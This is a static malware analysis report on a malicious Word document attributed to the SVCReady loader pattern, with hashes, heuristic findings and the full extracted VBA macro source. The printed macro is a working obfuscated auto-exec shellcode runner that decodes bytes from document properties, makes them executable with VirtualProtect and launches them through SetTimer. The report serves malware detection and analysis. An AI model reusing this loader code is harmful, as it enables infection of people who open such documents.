Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 b0bcd7832ba41443…

MALICIOUS

Office (OOXML) / .DOC

2.62 MB Created: 2022-06-17 00:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-21
MD5: 9f3b9999a24ab0a020869b39a8c00d9c SHA-1: 0dce674b1bd7c3fa96eb80a71804b134bd52b74c SHA-256: b0bcd7832ba41443eac0002c7f2f0037d8293f8aa383ba284654414830cd1d4c
310 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/MulJsOxfXQ.bin)
  • VBA property-stored shellcode loader critical OLE_VBA_PROPERTY_SHELLCODE_LOADER
    VBA auto-exec macro takes the address (VarPtr) of a byte buffer decoded from a document property, marks memory executable (VirtualProtect/VirtualAlloc), and transfers control through a callback API (e.g. SetTimer/EnumWindows). The payload is hidden in the document properties rather than the macro source — the SVCReady loader pattern, a native shellcode runner rather than a parser CVE.
    Matched line in script
    Private Declare PtrSafe Function QuailyVocalizationSpandle Lib "user32" Alias "SetTimer" (ByVal TapecopyOverlustiness As LongPtr, ByVal UtilitarianistSkimpsSandfly As LongPtr, ByVal ClarinettistSortwith As LongPtr, ByVal SolionsHydrophytonSabbatic As LongPtr) As LongPtr
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject(DRd7YYEYvgo("pMz6jkKriB2q")).Environment(DRd7YYEYvgo("gZ_LqTW"))(DRd7YYEYvgo("lqY5k_BAQoqU")) = ActiveDocument.FullName
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject(DRd7YYEYvgo("pMz6jkKriB2q")).Environment(DRd7YYEYvgo("gZ_LqTW"))(DRd7YYEYvgo("lqY5k_BAQoqU")) = ActiveDocument.FullName
  • VBA reads reversed config from document properties high OLE_VBA_REVERSED_DOCPROP_CONFIG
    VBA applies StrReverse to values read from the document's custom/built-in properties. Storing reversed configuration (URLs, CLSIDs, env-var names, payload names) in document properties keeps indicators out of the macro source — an obfuscation technique used by the SVCReady loader.
    Matched line in script
    DRd7YYEYvgo = StrReverse(ActiveDocument.CustomDocumentProperties(strInput))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • OOXML part with non-standard content type and high-entropy data high OOXML_BOGUS_CUSTOM_PART
    The package declares a part with an invented content type (not an OpenXML/Office/standard media type) holding large, high-entropy (likely encrypted/packed) data. Legitimate OOXML files do not carry opaque binary blobs under custom content types; this is the embedded next-stage payload pattern used by loaders such as SVCReady.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4898 bytes
SHA-256: 43583c08249deab8c0460c2a9d1a9a97d7a73e6c9ae2dbbdfc7cbd22707eee2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function QuailyVocalizationSpandle Lib "user32" Alias "SetTimer" (ByVal TapecopyOverlustiness As LongPtr, ByVal UtilitarianistSkimpsSandfly As LongPtr, ByVal ClarinettistSortwith As LongPtr, ByVal SolionsHydrophytonSabbatic As LongPtr) As LongPtr
Private Declare PtrSafe Function SoddiesMultimetallismCastigator Lib "kernel32" Alias "VirtualProtect" (ByVal BalletAlligation As LongPtr, ByVal NonsimplicityHiatuses As LongPtr, ByVal HalfpenceSnatchproof As LongPtr, ShiverweedCatslideNousel As LongPtr) As LongPtr
Private Declare PtrSafe Function MillettiaUndonkey Lib "user32" Alias "KillTimer" (ByVal EtherifiedOutjumpUnembarrassed As LongPtr, ByVal OverrefinedRephrasingSquamula As LongPtr) As LongPtr
#Else
Private Declare Function QuailyVocalizationSpandle Lib "user32" Alias "SetTimer" ( ByVal ZonersUnpeopleMacanese As Long, ByVal AurateRazourUprein As Long, ByVal HumoralismTerminus As Long, ByVal PelmatozoaDurandarte As Any) As Long
Private Declare Function SoddiesMultimetallismCastigator Lib "kernel32" Alias "VirtualProtect"  (ByVal GargoylesHearthlessNeoterized As Long, ByVal ReestingTichodroma As Long, ByVal UncontributoryNonadjacently As Long, MaralTrachelia As Long) As Long
Private Declare Function MillettiaUndonkey Lib "user32" Alias "KillTimer" ( ByVal CombattantsAsperating As Long, ByVal JillflirtSantarPseudoaristocratical As Long) As Long
#End If
Private Sub Document_Open()
Dim ConsolidatingUnindustrialized() As Byte
#If Win64 Then
ConsolidatingUnindustrialized = PortateHexachloraphene(ActiveDocument.BuiltInDocumentProperties(DRd7YYEYvgo("MtWiizfXD")).Value)
#Else
ConsolidatingUnindustrialized = PortateHexachloraphene(ActiveDocument.BuiltInDocumentProperties(DRd7YYEYvgo("ZHjKn8EN4RI")).Value)
#End If
#If VBA7 Then
Dim AffraysEnneasepalous As LongPtr
Dim OrdinandPrediscoverer As LongPtr
Dim FriggleMisbuilds As LongPtr
Dim ReintroducedUrginglyDisgaveling As LongPtr
#Else
Dim AffraysEnneasepalous As Long
Dim OrdinandPrediscoverer As Long
Dim FriggleMisbuilds As Long
Dim ReintroducedUrginglyDisgaveling As Long
#End If
OrdinandPrediscoverer = UBound(ConsolidatingUnindustrialized) + 1
FriggleMisbuilds = VarPtr(ConsolidatingUnindustrialized(0))
SoddiesMultimetallismCastigator FriggleMisbuilds, OrdinandPrediscoverer, 64, VarPtr(AffraysEnneasepalous)
GetObject(DRd7YYEYvgo("pMz6jkKriB2q")).Environment(DRd7YYEYvgo("gZ_LqTW"))(DRd7YYEYvgo("lqY5k_BAQoqU")) = ActiveDocument.FullName
GetObject(DRd7YYEYvgo("LQPRSo")).Environment(DRd7YYEYvgo("LOSKWCGWN4"))(DRd7YYEYvgo("JyyQI0fD")) = DRd7YYEYvgo("IBqiC_cXFW")
ReintroducedUrginglyDisgaveling = QuailyVocalizationSpandle(0, FriggleMisbuilds, 1, FriggleMisbuilds)
MagazinageStegosaurian 1
MillettiaUndonkey 0, ReintroducedUrginglyDisgaveling
GetObject(DRd7YYEYvgo("KRFdn3IqYj")).Environment(DRd7YYEYvgo("XqhBTt3Ap")).Remove (DRd7YYEYvgo("JnZVyRmQ1_"))
GetObject(DRd7YYEYvgo("csiJ1cyL")).Environment(DRd7YYEYvgo("bvG2fQtq")).Remove (DRd7YYEYvgo("bIwAjsObrV"))
ReDim ConsolidatingUnindustrialized(1)
End Sub
Sub MagazinageStegosaurian(Finish)
Dim CoppererSubcommendationOvermoralizing As Long
Dim NestorianizerSweeperess As Long
NestorianizerSweeperess = Timer() + (Finish)
Do
CoppererSubcommendationOvermoralizing = Timer()
DoEvents
Loop Until CoppererSubcommendationOvermoralizing > NestorianizerSweeperess
End Sub
Function GeniolatryPupilage(UnsurpassedMockishTraitory, YeraverSeawardlySquabby)
GeniolatryPupilage = Mid(UnsurpassedMockishTraitory, YeraverSeawardlySquabby + 1, 1)
End Function
Function BonaughtZeroeth(TitferPatersUnmemorialized) As Long
If Int(Rnd(23)) > 2 Then
BonaughtZeroeth = 9000
Else
BonaughtZeroeth = Len(TitferPatersUnmemorialized)
End If
End Function
Function PortateHexachloraphene(TotalitariansAdorantes)
ReDim MasanobuDisvaluePrickleback(BonaughtZeroeth(TotalitariansAdorantes) - 1) As Byte
Dim FinickinPolymers As Long, MisanalyzingNonobservational As Long
Dim CapercallyUpstage: CapercallyUpstage = DRd7YYEYvgo("RbSwSgI") & DRd7YYEYvgo("GoCTE_Rq1")
For FinickinPolymers = 0 To BonaughtZeroeth(TotalitariansAdorantes) - 1 Step 2
MisanalyzingNonobservational = FinickinPolymers / 2
MasanobuDisvaluePrickleback(MisanalyzingNonobservational) = CDec(CapercallyUpstage & GeniolatryPupilage(TotalitariansAdorantes, FinickinPolymers) & GeniolatryPupilage(TotalitariansAdorantes, FinickinPolymers + 1))
Next
PortateHexachloraphene = MasanobuDisvaluePrickleback
End Function
Public Function DRd7YYEYvgo(strInput)
DRd7YYEYvgo = StrReverse(ActiveDocument.CustomDocumentProperties(strInput))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/MulJsOxfXQ.bin 8704 bytes
SHA-256: 4c46ab4131802d63df715d3a18be1a717c60180aa1aa289708d25c6441ff3d98

Open this report in the interactive analyzer, or submit your own file for analysis.